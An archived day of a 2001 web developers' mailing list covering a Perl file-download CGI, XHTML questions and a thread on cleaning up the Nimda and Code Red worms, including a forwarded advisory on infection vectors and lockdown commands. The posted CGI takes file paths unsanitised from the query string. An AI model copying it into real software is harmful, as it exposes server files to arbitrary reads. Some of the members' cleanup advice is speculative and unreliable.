"Content-type: application/x-unknown\r\n"; print "Content-disposition: inline; filename= ", $user_file, "\r\n"; print "Content-length: ", length($data), "\r\n\r\n$data"; 1; # end of download.cgi 8<------ clip here -- Kevin "digger" Martin From andrew.chadwick at prnewswire.co.uk Wed Sep 19 08:36:26 2001 From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick) Date: Wed Sep 19 08:36:26 2001 Subject: [thelist] Apache SSL and Perl save file In-Reply-To: <200109191243.f8JChgQm003154@leo.evolt.org> References: <20010919002657.3EE4B9E3@relay.evolt.org> <200109191243.f8JChgQm003154@leo.evolt.org> Message-ID: <20010919141655.A13179@oit.net> On Wed, Sep 19, 2001 at 07:43:22AM -0500, Mark Gillingham wrote: > I inherited a set of Perl scripts that collects student information and > saves it to a flat text file. I needed to move the scripts to a new > host, but still on Linux. The scripts work in non-SSL calls (http) and > most of the work in SSL too (e.g., https). The part that does not work, > but only in SSL, is appending a text variable to an open file. > > My question. Does Linux/Appache SSL have different rules for appending > to a file when SSL is on versus when it is off? Odd. Don't think it could, assuming you're using the Perl iterpreter itself rather than mod_perl. Only one thing I can think of really: check your script's effective uid and gid and make sure they can write to the file in question. Check that the script can really open the file by opening it like open (OUT, ">>", $file) or die "can't open $file: $!\n"; and check your server logs if it breaks after doing that. -- Andrew Chadwick, UNIX/Internet Programmer, PR Newswire Europe, Oxford -- The views or opinions above are solely mine and are not necessarily those of PR Newswire Europe. The message may contain privileged or confidential information; if you are not a named recipient, notify me, and do not copy, use, or disclose this message. . From ghunt at sympatico.ca Wed Sep 19 08:57:48 2001 From: ghunt at sympatico.ca (Glenn Hunt) Date: Wed Sep 19 08:57:48 2001 Subject: [thelist] Re: Browser detection and save file as In-Reply-To: <20010919090334.A7412@brasscannon.net> Message-ID: <000401c14112$9c550980$0300a8c0@glenn> Kevin, From my initial email: You will notice that I did have the filename attribute in the Content-disposition section. On another note, the Internet Explorer 5.5 SP1 issue was resolved in SP2. See this: http://support.microsoft.com/directory/article.asp?ID=KB;EN-US;Q281119 Glenn Hunt ghunt at hds.ca -----Original Message----- From: thelist-admin at lists.evolt.org [mailto:thelist-admin at lists.evolt.org] On Behalf Of Kevin Martin Sent: Wednesday, September 19, 2001 9:04 AM To: thelist at lists.evolt.org Subject: [thelist] Re: Browser detection and save file as Thanks to Greg's pointer on how Cold Fusion does it, I was able to make a perl CGI to do the same thing. It's basically a shotgun marriage of my very first CGI (provided here by a kind soul) with a perl push-a-file routine that is normally used to send CA certificates. :-) Got a tip from Microsoft on how to fix the content-disposition header, to override IE's insistence on saving the file as 'download.cgi' -- it now appears to work in both IE 5 and Netscape. It needs some bulletproofing, of course, but here's what it looks like: 8<------ clip here #!/usr/bin/perl ## Syntax: http://mysite/cgi-bin/download.cgi?username=filename @params=split(/=/,$ENV{'QUERY_STRING'}); my $user_dir = "/home/www/$params[0]"; my $user_file = $params[1]; my $send_file = "$user_dir/$user_file"; ## Uncomment to debug in browser: #print "Content-type: text/html\r\n\r\n"; #print ""; #print "P0: ", $params[0], " P1: ", $params[1], "\r\n"; #print "SF: ", $send_file, "\r\n"; #print ""; ## my $data = ""; open(AFILE, "<$send_file"); while() { $data .= $_; } close(AFILE); print "Content-type: application/x-unknown\r\n"; print "Content-disposition: inline; filename= ", $user_file, "\r\n"; print "Content-length: ", length($data), "\r\n\r\n$data"; 1; # end of download.cgi 8<------ clip here -- Kevin "digger" Martin --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From mqy4fxax36001 at sneakemail.com Wed Sep 19 09:07:56 2001 From: mqy4fxax36001 at sneakemail.com (Joergen Ramskov) Date: Wed Sep 19 09:07:56 2001 Subject: [thelist] SV: thelist digest, Vol 1 #1652 - 6 msgs Message-ID: <135172109.1000908392373.JavaMail.root@boots> Yes, another worm and it's pretty nasty - I have seen info here: http://www.aceshardware.com/ http://news.cnet.com/news/0-1003-200-7215349.html?tag=tp_pr http://slashdot.org/article.pl?sid=01/09/18/151203&mode=thread Greetings Joergen Ramskov > Message: 1 > From: "aardvark" > To: thelist at lists.evolt.org > Date: Tue, 18 Sep 2001 11:19:04 -0400 > Subject: [thelist] another worm? > Reply-To: thelist at lists.evolt.org > > > ok, a few of our clients were hit this morning by something that > tries to get your browser (on windows) to download a .eml file > which it would then launch via an .exe... > > i can't get to any virus sites, since all web traffic coming > and going > is pretty hosed right now... > > so, is there a new worm out there? the IIS servers affected were > *supposedly* patched against the last batch... > > anyone? From mqy4fxax36001 at sneakemail.com Wed Sep 19 09:08:09 2001 From: mqy4fxax36001 at sneakemail.com (Joergen Ramskov) Date: Wed Sep 19 09:08:09 2001 Subject: [thelist] RE: another worm? Message-ID: <135726840.1000908469935.JavaMail.root@boots> I have no problems getting Symantec' website - info here: http://www.sarc.com/avcenter/venc/data/w32.nimda.a at mm.html Greetings Joergen Ramskov > Message: 1 > From: "aardvark" > To: thelist at lists.evolt.org > Date: Tue, 18 Sep 2001 11:19:04 -0400 > Subject: [thelist] another worm? > Reply-To: thelist at lists.evolt.org > > > ok, a few of our clients were hit this morning by something that > tries to get your browser (on windows) to download a .eml file > which it would then launch via an .exe... > > i can't get to any virus sites, since all web traffic coming > and going > is pretty hosed right now... > > so, is there a new worm out there? the IIS servers affected were > *supposedly* patched against the last batch... > > anyone? From djc at starkmedia.com Wed Sep 19 09:20:36 2001 From: djc at starkmedia.com (Daniel J. Cody) Date: Wed Sep 19 09:20:36 2001 Subject: [thelist] failure notice (& CF TIP) References: Message-ID: <3BA8A641.7080701@starkmedia.com> One more tip while people are tossing them about about virii and windows.. Search your IIS server for a file called root.exe and delete it - if you have it you've been compromised. *NO* patches from MS delete this file. Ironically, I blogged this last week: root.exe allows anyone on the internet to have commands on the machine executed with web server privileges, and can typically be used to set up logging of credit card information and other sensitive data on SSL servers. This has created a new class of ecommerce site which has been correctly patched for known server vulnerabilities, but have a live backdoor facility enabling attackers to continue to remain in control of the machine. typcially you'll find the file in the inetpub/scripts directory. I had four clients yesterday who had their machines 100% patched, but were still being controlled through the root.exe file. whats more scary is 13% of *SSL* IIS websites on the internet have the root.exe exploit installed on them according to Netcraft.. .djc. Richard H. Morris wrote: > John Handelaar [genghis at members.evolt.org] wrote: > > >>-----Original Message----- >>Utterly unhelpful. Way to go, Richard. >> >>The answer: >> >>1 Look for all instances of README.EXE on your local >> disks and delete them >> >>2 Search the registry for 'macrosoft' and remove the >> keys >> >>3 Uninstall IIS and Windows Scripting Server on your >> desktop machine >> >>4 Disable 'active scripting' in IE at all 4 security >> settings. Better still, get Mozilla 0.9.4 instead >> 'cos it's (believe it or not) more robust and doesn't >> suffer from the security bug which enables one >> of this worm's 6 or 7 methods of propagation. >> > > Re: 4, just get a Mac and don't worry about Wintel executables? Just as > helpful advice... From r937 at interlog.com Wed Sep 19 09:36:22 2001 From: r937 at interlog.com (rudy) Date: Wed Sep 19 09:36:22 2001 Subject: [thelist] learning from errors Message-ID: <01c14117$694a1300$bb48149a@rudy> as yogi berra said, sometimes you can see a lot just by looking to try this for yourself, make sure you refuse cookies then visit www.eprise.com here's what the home page has instead of an H1 --
Strategic Web Content Management Strategic Web Content Management as a web developer i am immediately indisposed towards this company but perhaps unfairly after all, they are in the content management game and i happened to notice a weakness in their web site the two are not necessarily related anyhow, to continue... make sure you keep refusing cookies, and click on Live Web Seminar http://www.eprise.com/forms/specialoffer/jumppage2001.cfm see the book (left sidebar) they're giving away? click that link http://www.eprise.com/forms/specialoffer/SelfAssess1.cfm?Source=3 i get this glorious CF error -- Error resolving parameter COOKIE.DRLISTID The cookie value DRLISTID was not found in the current template file. The cause of this error is very likely one of the following things: The name of the cookie variable has been misspelled. The cookie variable has not yet been created or has timed out. To set default values for cookie variables you should use the CFPARAM tag (e.g. ) which, as an aside, is typical of the superb quality of cold fusion error messages, and i mean that sincerely -- they tell you in simple words what's wrong, and even what to do about it the error message also tells me that it was processing C:\INETPUB\WWWROOT\FORMS \SPECIALOFFER\PRIMARYCHOICETRACKING.CFM. which tells me that eprise is studying where its referrals are coming from that's not wrong, by the way if i had a CMS business, i'd certainly track referrals too but i'd also make sure it would work if cookies are refused, eh i wouldn't want to get caught looking (to use the baseball analogy) rudy From steve.cook at evitbe.com Wed Sep 19 09:41:35 2001 From: steve.cook at evitbe.com (Steve Cook) Date: Wed Sep 19 09:41:35 2001 Subject: [thelist] failure notice (& CF TIP) Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB6D@SBS> Hi Dan! If one has that file, does it mean that the server *has* been infected by a worm, or is it that the file is a security loophole? I ask because root.exe is on our Win 2000 server, but as that is sitting behind what I consider to be a *very* secure firewall I find it hard to believe that anyone has compromised our box. Having found the file, is there anything else in particular I should be looking for? .steve ---------------------------------- WapWarp - http://wapwarp.com Wap-Dev - http://www.wap-dev.net Cookstour - http://cookstour.org ---------------------------------- > -----Original Message----- > From: Daniel J. Cody [mailto:djc at starkmedia.com] > Sent: den 19 september 2001 16:06 > To: thelist at lists.evolt.org > Subject: Re: [thelist] failure notice (& CF TIP) > > > One more tip while people are tossing them about about virii > and windows.. > > Search your IIS server for a file called root.exe and delete > it - if you > have it you've been compromised. *NO* patches from MS delete > this file. > From john at userfrenzy.com Wed Sep 19 09:47:47 2001 From: john at userfrenzy.com (John Handelaar) Date: Wed Sep 19 09:47:47 2001 Subject: [thelist] failure notice (& CF TIP) In-Reply-To: <3B55A5A1F233D41183A800D0B74D4D5213AB6D@SBS> Message-ID: > -----Original Message----- > From: thelist-admin at lists.evolt.org > [mailto:thelist-admin at lists.evolt.org]On Behalf Of Steve Cook > Sent: 19 September 2001 15:39 > To: 'thelist at lists.evolt.org' > Subject: RE: [thelist] failure notice (& CF TIP) > > > Hi Dan! > > If one has that file, does it mean that the server *has* been > infected by a > worm Yep. Wipe it right now. Then unplug the box's network cable. Then get the fixes for this one *and* the code red patch from MS. Then reboot and reconnect. ------------------------------------------ John Handelaar T +44 20 7209 4117 M +44 7930 681789 F +44 870 169 7657 E john at userfrenzy.com ------------------------------------------ From pkaulbak at idirect.ca Wed Sep 19 09:47:50 2001 From: pkaulbak at idirect.ca (Peter Kaulback) Date: Wed Sep 19 09:47:50 2001 Subject: [thelist] server connections Message-ID: <5.1.0.14.0.20010919104424.00a80968@mail.idirect.ca> Is there any resource which could give ma an approximate number of how many web servers are connected through dialup, dedicated or otherwise? Peter Kaulback From djc at starkmedia.com Wed Sep 19 09:47:57 2001 From: djc at starkmedia.com (Daniel J. Cody) Date: Wed Sep 19 09:47:57 2001 Subject: [thelist] failure notice (& CF TIP) References: <3B55A5A1F233D41183A800D0B74D4D5213AB6D@SBS> Message-ID: <3BA8AD0A.8090304@starkmedia.com> Hey Steve - Steve Cook wrote: > Hi Dan! > > If one has that file, does it mean that the server *has* been infected by a > worm, or is it that the file is a security loophole? root.exe is a by-product of the code red series, so its presence suggests that your server *was* infected at one time. http://www.symantec.com/avcenter/venc/data/codered.v3.html 2/3 of the way down http://vil.mcafee.com/dispVirus.asp?virus_k=99177& half way down > I ask because root.exe is on our Win 2000 server, but as that is sitting > behind what I consider to be a *very* secure firewall I find it hard to > believe that anyone has compromised our box. even the most secure firewalls in front of web servers have to allow port 80 through, and thats how it spreads :( everyone can expect more and more of this if 'web services' - that all flow over port 80, which is typcially open on the firewall - really take off sadly. anyways, shout if you have more questions :) .djc. From steve.cook at evitbe.com Wed Sep 19 09:59:57 2001 From: steve.cook at evitbe.com (Steve Cook) Date: Wed Sep 19 09:59:57 2001 Subject: [thelist] failure notice (& CF TIP) Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB6F@SBS> Hmmm! Curious. There's not even an open port 80 on our firewall. The server is on our internal network - it's a development server with NO inward connection to the Internet. *wonders how that got there* It could *possibly* have come from within our service prover's network, but that's all I can think of. Oh well. I'll check it out. Thanks for the heads-up! ---------------------------------- WapWarp - http://wapwarp.com Wap-Dev - http://www.wap-dev.net Cookstour - http://cookstour.org ---------------------------------- > -----Original Message----- > From: Daniel J. Cody [mailto:djc at starkmedia.com] > Sent: den 19 september 2001 16:35 > To: thelist at lists.evolt.org > Subject: Re: [thelist] failure notice (& CF TIP) > > > Hey Steve - > > Steve Cook wrote: > > > Hi Dan! > > > > If one has that file, does it mean that the server *has* > been infected by a > > worm, or is it that the file is a security loophole? > > > root.exe is a by-product of the code red series, so its presence > suggests that your server *was* infected at one time. > From john.best at simplytrading.com Wed Sep 19 10:17:53 2001 From: john.best at simplytrading.com (John Best) Date: Wed Sep 19 10:17:53 2001 Subject: [thelist] failure notice (& CF TIP) Message-ID: <80580AC1CF583E4E87794E275D17899101F8B2@stexchange1.simplytrading.ltd.uk> As a little note..removing root.exe is possibly not sufficient. As root.exe allows people access to your system you will also need to have a good poke around and ensure that nothing has been added/changed. (in an ideal world you would rebuild from safe backups, apply patches and then reconnect) Things hackers may do include 1.) Add additional backdoors/trojans. 2.) set registry keys to run code when the computer boots-starting a rogue service or something. 3.) add users/ elevate users privalages. I have no idea how one goes around convining yourself that it's all safe. Sorry to be such a dampner, but a false sense of security is very dangerous. John Best ps....I read a book and it scared me. > > Hi Dan! > > If one has that file, does it mean that the server *has* been > infected by a > worm, or is it that the file is a security loophole? > > I ask because root.exe is on our Win 2000 server, but as that > is sitting > behind what I consider to be a *very* secure firewall I find > it hard to > believe that anyone has compromised our box. > > Having found the file, is there anything else in particular I > should be > looking for? > > .steve > > > ---------------------------------- > WapWarp - http://wapwarp.com > Wap-Dev - http://www.wap-dev.net > Cookstour - http://cookstour.org > ---------------------------------- > > > -----Original Message----- > > From: Daniel J. Cody [mailto:djc at starkmedia.com] > > Sent: den 19 september 2001 16:06 > > To: thelist at lists.evolt.org > > Subject: Re: [thelist] failure notice (& CF TIP) > > > > > > One more tip while people are tossing them about about virii > > and windows.. > > > > Search your IIS server for a file called root.exe and delete > > it - if you > > have it you've been compromised. *NO* patches from MS delete > > this file. > > > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > > -------------------------------------------------------- > > The contents of this e-mail are confidential to the ordinary > user of the e-mail address to which it was addressed, or in > the case of an incorrectly addressed e-mail message, the > intended recipient. No-one else may copy, use, disseminate or > forward all or any part of it in any form. > > Although this email, including any attachments, is believed > to be free of any virus, or other defect which might affect > any computer or IT system into which it is received and > opened, it is the responsibility of the recipient to ensure > that it is virus free, and no responsibility is accepted for > any loss or damage arising in any way from its use. > > The views expressed in this e-mail are those of the sender > and not necessarily the employees company. > > If you receive this e-mail in error please accept our > apology. If this is the case we would be obliged if you > would contact the sender and then delete the e-mail. > > -------------------------------------------------------- > From bill at webmarketingworx.com Wed Sep 19 10:28:13 2001 From: bill at webmarketingworx.com (Bill Haenel) Date: Wed Sep 19 10:28:13 2001 Subject: [thelist] failure notice (& CF TIP) In-Reply-To: <3BA8AD0A.8090304@starkmedia.com> Message-ID: > > If one has that file, does it mean that the server *has* been > infected by a > > worm, or is it that the file is a security loophole? If one does not have that file, or any other symptoms of the virus, except for an AV program reporting that Admin.dll and a bunch of scripts in the C:\Inetpub\scripts\ directory are all infected, do I have it or not? It's kind of strange, those files are clearly infected, but my AV program does not seem to be able to delete them. Every time I restart, they are back again. And yet, I do not have root.exe or load.exe, or readme.exe, or any strange lines in system.ini, or any of the other symptoms listed on Symantec's report. Anyone having the same issues? BH From abbey at abbeyink.com Wed Sep 19 10:43:00 2001 From: abbey at abbeyink.com (Tamara Abbey) Date: Wed Sep 19 10:43:00 2001 Subject: [thelist] embarrassingly stupid XHTML questions In-Reply-To: <5.1.0.14.2.20010917135300.00a4b5d0@data1701d.com> References: <01c13fba$524e1380$8551149a@rudy> Message-ID: <5.0.0.25.2.20010919102824.009f3a80@mail.abbeyink.com> At 01:53 PM 9/17/2001 -0700, you wrote: >At 01:50 PM 9/17/01, rudy wrote: >>although i have heard that >> >> >> >>can cause problems and for the time being is optional > >The only browser I ever saw that cause a break was in Mac IE 4.0. With >the declaration there, the page will not display at all. I'm a little late on this and I don't know if it was answered, but the xml line above will wreak havoc on php pages where the server has short tags on since the php will try to render the xml and all I ever see is *parse error*. From john at userfrenzy.com Wed Sep 19 10:43:09 2001 From: john at userfrenzy.com (John Handelaar) Date: Wed Sep 19 10:43:09 2001 Subject: [thelist] failure notice (& CF TIP) In-Reply-To: Message-ID: > -----Original Message----- > From: thelist-admin at lists.evolt.org > [mailto:thelist-admin at lists.evolt.org]On Behalf Of Bill Haenel > Sent: 19 September 2001 16:27 > To: thelist at lists.evolt.org > Subject: RE: [thelist] failure notice (& CF TIP) > > If one does not have that file, or any other symptoms of the virus, except > for an AV program reporting that Admin.dll and a bunch of scripts in the > C:\Inetpub\scripts\ directory are all infected, do I have it or not? > > It's kind of strange, those files are clearly infected, but my AV program > does not seem to be able to delete them. Because IIS has them open? Shut the 'IIS Admin Service' - it'll bring the rest of IIS down with it. Then try again. Incidentally, you don't really need admin.dll unless you *really* need Frontpage extensions... get rid of your Frontpage extensions installation if you can. ------------------------------------------ John Handelaar T +44 20 7209 4117 M +44 7930 681789 F +44 870 169 7657 E john at userfrenzy.com ------------------------------------------ From john.best at simplytrading.com Wed Sep 19 12:07:44 2001 From: john.best at simplytrading.com (John Best) Date: Wed Sep 19 12:07:44 2001 Subject: [thelist] failure notice (& CF TIP) Message-ID: <80580AC1CF583E4E87794E275D178991015745@stexchange1.simplytrading.ltd.uk> -- If one does not have that file, or any other symptoms of the virus, except for an AV program reporting that Admin.dll and a bunch of scripts in the C:\Inetpub\scripts\ directory are all infected, do I have it or not? -- Anyone who has any realevant links please post...... But I thought I read somewhere that admin.dll is a file that the virus tries to copy across to the server. The fact that it keeps reappearing is possibly a very bad sign (the virus notices they are gone and fetches them again.) I say again this is bassed on some stuff I think I read. anyone with a link that can help this guy out? John Best From andy.war at ntlworld.com Wed Sep 19 12:07:47 2001 From: andy.war at ntlworld.com (Andy Warwick) Date: Wed Sep 19 12:07:47 2001 Subject: [thelist] Open Source licence for web site source code Message-ID: Anyone know where I can find a model open source licence for web site source code. I need something in legal speak that basically says: 1. It's okay to read this xHTML, etc. code. 2. It's fine to re-use bits of it in other sites as long as you retain a credit to those bits that are mine. It's fine to sell those bits as part of a new whole. 3. You can't take all this code and sell it verbatim as your own. 4. I retain right to re-use bits of it, but you (client) have worldwide, exclusive rights to the specific "business model"/"application" that this code creates. What I want is a situation where someone can look at my code and learn from it, modify it themselves, give it to other designers to modify, etc. Even take bits of it and use in in stuff they charge for and keep secret, as long as I get a credit. Equally, I don't want to lose all rights to it, and yet want to protect clients so I can continue to use bits as long as I don't simply sell the same code again and again to their competitors. Basically, I create a website for a client at which point they "own the code" and can do what the hell they like, but they don't restrict my rights to sell a derived work to someone else. But I want to make sure that once the site is up, the client has to credit me with the code creation, even if they own it now. Something like I grant them exclusive, worldwide rights to code and derived works for that "complete site", but retain the rights to do the same again with other "complete sites" and other clients with code that replicates minor portions of the first site. So their "exclusive" rights is for the whole thing and not specific bits. Make sense? I think a BSD-style licence does the trick, but wondered if anyone has one written specifically for websites that they don't mind me using. Thanks in anticipation. Andy W From bill at webmarketingworx.com Wed Sep 19 12:07:56 2001 From: bill at webmarketingworx.com (Bill Haenel) Date: Wed Sep 19 12:07:56 2001 Subject: [thelist] failure notice (& CF TIP) In-Reply-To: Message-ID: > > If one does not have that file, or any other symptoms of the > virus, except > > for an AV program reporting that Admin.dll and a bunch of scripts in the > > C:\Inetpub\scripts\ directory are all infected, do I have it or not? > > > > It's kind of strange, those files are clearly infected, but my > AV program > > does not seem to be able to delete them. > > Because IIS has them open? > > Shut the 'IIS Admin Service' - it'll bring the rest of IIS > down with it. Then try again. At first, yes - good call. However, this AM I shut IIS and all of its co-conspirators down, and even booted into safe mode and disconnected my network cable from the cable modem - and STILL had the same problem. > Incidentally, you don't really need admin.dll unless you > *really* need Frontpage extensions... get rid of your > Frontpage extensions installation if you can. Thanks so much for the tip - I was wondering if maybe I could do something like that, but didn't know that's what Admin.dll was for. I will surely get rid of FP Extensions and see if that makes a difference. But what about all those scripts? I wonder why they keep coming back - even when I'm not connected to the net! BH From sgd at ti3.com Wed Sep 19 12:13:09 2001 From: sgd at ti3.com (Scott Dexter) Date: Wed Sep 19 12:13:09 2001 Subject: [thelist] failure notice (& CF TIP) Message-ID: > -- > If one does not have that file, or any other symptoms of the virus, > except I'm replying twice, with email I"ve recieved from the NTBUGTRAQ list: --- Infection vectors; - ----------------- a) Email as an attachment of MIME audio/x-wav type. b) By browsing an infected webserver with Javascript execution enabled and using a version of IE vulnerable to the exploits discussed in MS01-020 (e.g. IE 5.0 or IE 5.01 without SP2). c) Machine to machine in the form of IIS attacks (primarily attempting to exploit vulnerabilities created by the effects of Code Red II, but also vulnerabilities previously patched by MS00-078) d) Highlighting either a .eml or .nws in Explorer with Active Desktop enabled (W2K/ME/W98 by default) then the THUMBVW.DLL will execute the file and attempt to download the README.EXE referenced in it (depending on your IE version and zone settings). e) Mapped drives. Any infected machine which has mapped network drives will likely infect all of the files on the mapped drive and its subdirectories To prevent yourself from being infected; a) Ensure all IE versions have applied MS01-027 (or are IE 5.01SP2 or above) b) Disable Active Scripting in IE c) Ensure all IIS installations have applied MS01-044 (or at the very least MS01-033) d) Use the CALCS program to modify the permissions on TFTP.EXE to remove all use; CALCS %systemroot%/system32/tftp.exe /D Everyone CALCS %systemroot%/system32/tftp.exe /D System Do the same for CMD.EXE (note, this could be tried with THUMBVM.DLL as well, haven't tried this myself yet) e) Ensure that TFTP is not permitted out through your network gateway (note that newly infected machines may try and TFTP *internally* from some other infected machine you have on your network) f) Modify or remove; HKEY_CLASSES_ROOT\.eml HKEY_CLASSES_ROOT\.nws Cleansing information; - --------------------- Nimda is viral, so while you can remove various files that it drops it probably will not be cleaned completely by manual means. This means you will have to use your AntiVirus vendor's product to completely cleans. a) Load.exe dropped as hidden/system file (probably in %systemroot%) b) Riched20.dll dropped with today's date as hidden/system file. c) Readme.exe dropped in every directory d) Admin.dll dropped in /scripts and/or root directories (not the _vti_bin directories of FrontPage) e) .eml and .nws files dropped in every directory f) Possibly modified your default home page in web dirs. g) Infected numerous files (if not all files) with the 56kb executable. h) Reports of people having files lumped together into .eml files Check with your AV Vendor regularly for updates to the cleansing programs. I would appreciate any reports from AV Vendors as to how complete they feel their cleaners currently are. I will do an update later tonight based on responses. Cheers, Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor --- sgd From sgd at ti3.com Wed Sep 19 12:13:12 2001 From: sgd at ti3.com (Scott Dexter) Date: Wed Sep 19 12:13:12 2001 Subject: [thelist] failure notice (& CF TIP) Message-ID: > If one does not have that file, or any other symptoms of the virus, > except Second : http://www.f-secure.com/v-descs/nimda.shtml Thanks sgd From john at userfrenzy.com Wed Sep 19 12:25:52 2001 From: john at userfrenzy.com (John Handelaar) Date: Wed Sep 19 12:25:52 2001 Subject: [thelist] failure notice (& CF TIP) In-Reply-To: Message-ID: > -----Original Message----- > From: thelist-admin at lists.evolt.org > [mailto:thelist-admin at lists.evolt.org]On Behalf Of Bill Haenel > Sent: 19 September 2001 17:43 > To: thelist at lists.evolt.org > Subject: RE: [thelist] failure notice (& CF TIP) > > > Shut the 'IIS Admin Service' - it'll bring the rest of IIS > > down with it. Then try again. > > At first, yes - good call. However, this AM I shut IIS and all of its > co-conspirators down, and even booted into safe mode and disconnected my > network cable from the cable modem - and STILL had the same problem. Then there's one of 3 things left: 1 Find something running as a service which oughtn't to be there (CTRL-ALT-DEL:task manager:processes). Kill it and delete it, look for refs to it in the registry and delete them. If you have no idea what I'm talking about then mail me a list of processes. or (less likely) 2 I'm hearing something about SYSTEM.INI resetting the Windows shell to 'explorer.exe' and appending some autorun shit to it. Worth checking just in case. or (much less likely) 3 Make sure you've got the permission required to nuke the file. If you're not logged in as Administrator it might not work. ------------------------------------------ John Handelaar T +44 20 7209 4117 M +44 7930 681789 F +44 870 169 7657 E john at userfrenzy.com ------------------------------------------ From djc at members.evolt.org Wed Sep 19 12:25:57 2001 From: djc at members.evolt.org (Daniel J. Cody) Date: Wed Sep 19 12:25:57 2001 Subject: [thelist] Daily "Links That Look Good"... (fwd) Message-ID: ---------- Forwarded message ---------- Date: Wed, 19 Sep 2001 13:09:45 -0400 From: Morbus Iff To: thelist at evolt.org Subject: Daily "Links That Look Good"... Every day, I run through about 200 sites using my AmphetaDesk [1] and quickly throw them into the root of my bookmark folder so that I can read them later. As I was going through them today, I noticed a good portion of them were design related. Thus, I shall share (course, since I haven't read them yet, I can't guarentee much of anything ): WDVL Design and Architecture of a Content-Rich Web Site http://wdvl.internet.com//Authoring/Design/Design/index.html Batik SVG Toolkit http://xml.apache.org/batik/ Effective Info Architecture (Web Techniques, Oct 2001) http://webtechniques.com/archives/2001/10/chak/ Liquid Tables (hey #evolt! )... http://www.evolt.org/article/Liquid_Tables/20/2321/ That Darned Content Production Graphics with Wendy Peck http://www.webreference.com/graphics/column51/ http://www.webreference.com/graphics/column52/ The myth of optimal web design - UIWEB.COM http://www.uiweb.com/issues/issue17.htm WDVL Usability - the Basics http://wdvl.internet.com/Authoring/Design/Basics/ web.oreilly.com -- Confessions of an Accidental Programmer http://web.oreilly.com/news/perlmanagement_0901.html ZapThink XML Industry Analysts and the XML Standards Report http://www.zapthink.com/reports/proscons-view.html Merry Worm Stomping! [1] http://www.disobey.com/amphetadesk/ -- Morbus Iff ( i am your scary godmother ) http://www.disobey.com/ && http://www.gamegrene.com/ please me: http://www.amazon.com/exec/obidos/wishlist/25USVJDH68554 icq: 2927491 / aim: akaMorbus / yahoo: morbus_iff / jabber.org: morbus From skaiser1 at skdesigns.com Wed Sep 19 12:51:55 2001 From: skaiser1 at skdesigns.com (Shirley Kaiser, SKDesigns) Date: Wed Sep 19 12:51:55 2001 Subject: Readme.exe, Eudora, and Opera (was Re: [thelist] failure notice (& CF TIP)) In-Reply-To: <3BA8A641.7080701@starkmedia.com> References: Message-ID: <5.1.0.14.2.20010919101621.02f80860@mail.midtown.net> Speaking of the Readme.exe file: I do NOT use Outlook, I use Opera 5.12 as my primary browser, and I don't have NT server or IIS server installed on my hard drive. They came in to my computer without my knowledge in the least. (I'm on a PC with Win98) My ISP's server got nailed yesterday morning with the Nimda virus, and I also ended up having 5 copies of the Readme.exe file in my Eudora files in the Embedded folder, NOT the attachments folder where virus attachments to email would go: Qualcomm\Eudora\Embedded\Readme.exe And since I received it several times, Eudora changed the name automatically, so there was: Readme.exe Readme1.exe Readme2.exe Readme3.exe Readme4.exe The same files were also in the backup files that I've set Eudora to automatically make. When one of my colleagues found the virus (unknowingly at that point) at one of my sites yesterday morning (the popup window came up with the weird message), he told me about this weird popup window and why was I doing that..... so I went to my site with Opera and checked it out, at that point neither of us knowing why I had this weird popup window. Fortunately he found out why within minutes and emailed me information, and then I called my ISP about it. (Thanks to Charles Johnson of http://www.littlegreenfootballs.com/ for happening to visit my site and find it and let me know yesterday....) After that Opera kept crashing and I couldn't open it with my usual "Open with previously saved windows".... and Opera never crashes on me. So I knew something was up. So I opened it with no windows and immediately deleted my cache and my history. Then it worked fine. That's when I also wondered if anything was on my computer anywhere else, ran the Readme.exe search and found those files in the Embedded folder in Eudora. I'd already looked in the Attachments folder (the usual spot for virii) and didn't find anything. This was before the virus updates were available. Needless to say, I also ran a complete scan of my entire computer after I downloaded the latest virus software update yesterday afternoon. So even if you don't think you have any problems, I'd still suggest running a search on your computer and making sure you don't have any of the problem files residing in it. The problem files may just sit there not do anything, as mine hadn't yet, but I also didn't open that Readme.exe file either (and I wouldn't have, either). So that's my story. ;-) Hope it helps someone else. Warmly, Shirley -- Shirley E. Kaiser, M.A. SKDesigns mailto:skaiser1 at skdesigns.com Website Development http://www.skdesigns.com/ Pianist, Composer http://www.shirleykaiser.com/ Moderator, I-Design http://www.adventive.com/lists/idesign/summary.html At 07:05 AM 09/19/2001, you wrote: >One more tip while people are tossing them about about virii and windows.. > >Search your IIS server for a file called root.exe and delete it - if you >have it you've been compromised. *NO* patches from MS delete this file. > >Ironically, I blogged this last week: >root.exe allows anyone on the internet to have commands on the machine >executed with web server privileges, and can typically be used to set up >logging of credit card information and other sensitive data on SSL >servers. This has created a new class of ecommerce site which has been >correctly patched for known server vulnerabilities, but have a live >backdoor facility enabling attackers to continue to remain in control of >the machine. > >typcially you'll find the file in the inetpub/scripts directory. I had >four clients yesterday who had their machines 100% patched, but were still >being controlled through the root.exe file. whats more scary is 13% of >*SSL* IIS websites on the internet have the root.exe exploit installed on >them according to Netcraft.. > >.djc. > >Richard H. Morris wrote: > >>John Handelaar [genghis at members.evolt.org] wrote: >> >>>-----Original Message----- >>>Utterly unhelpful. Way to go, Richard. >>> >>>The answer: >>> >>>1 Look for all instances of README.EXE on your local >>> disks and delete them >>> >>>2 Search the registry for 'macrosoft' and remove the >>> keys >>> >>>3 Uninstall IIS and Windows Scripting Server on your >>> desktop machine >>> >>>4 Disable 'active scripting' in IE at all 4 security >>> settings. Better still, get Mozilla 0.9.4 instead >>> 'cos it's (believe it or not) more robust and doesn't >>> suffer from the security bug which enables one >>> of this worm's 6 or 7 methods of propagation. >>Re: 4, just get a Mac and don't worry about Wintel executables? Just as >>helpful advice... From cvos at netpaths.net Wed Sep 19 12:57:42 2001 From: cvos at netpaths.net (Cayley Vos) Date: Wed Sep 19 12:57:42 2001 Subject: [thelist] virus and readme.eml Message-ID: <3BA8DBEC.1826C7A9@netpaths.net> is it true that a readme.eml file is part of this nasty ADMIN virus spreading around? I saw one embedded in a webpage, occuring as a popup -- Cayley Vos, Principal 360.714.8395 office 360.223.7799 cell http://NetPaths.net _______________________________ web design | e-commerce | i-marketing From rklegman at mediaone.net Wed Sep 19 13:04:33 2001 From: rklegman at 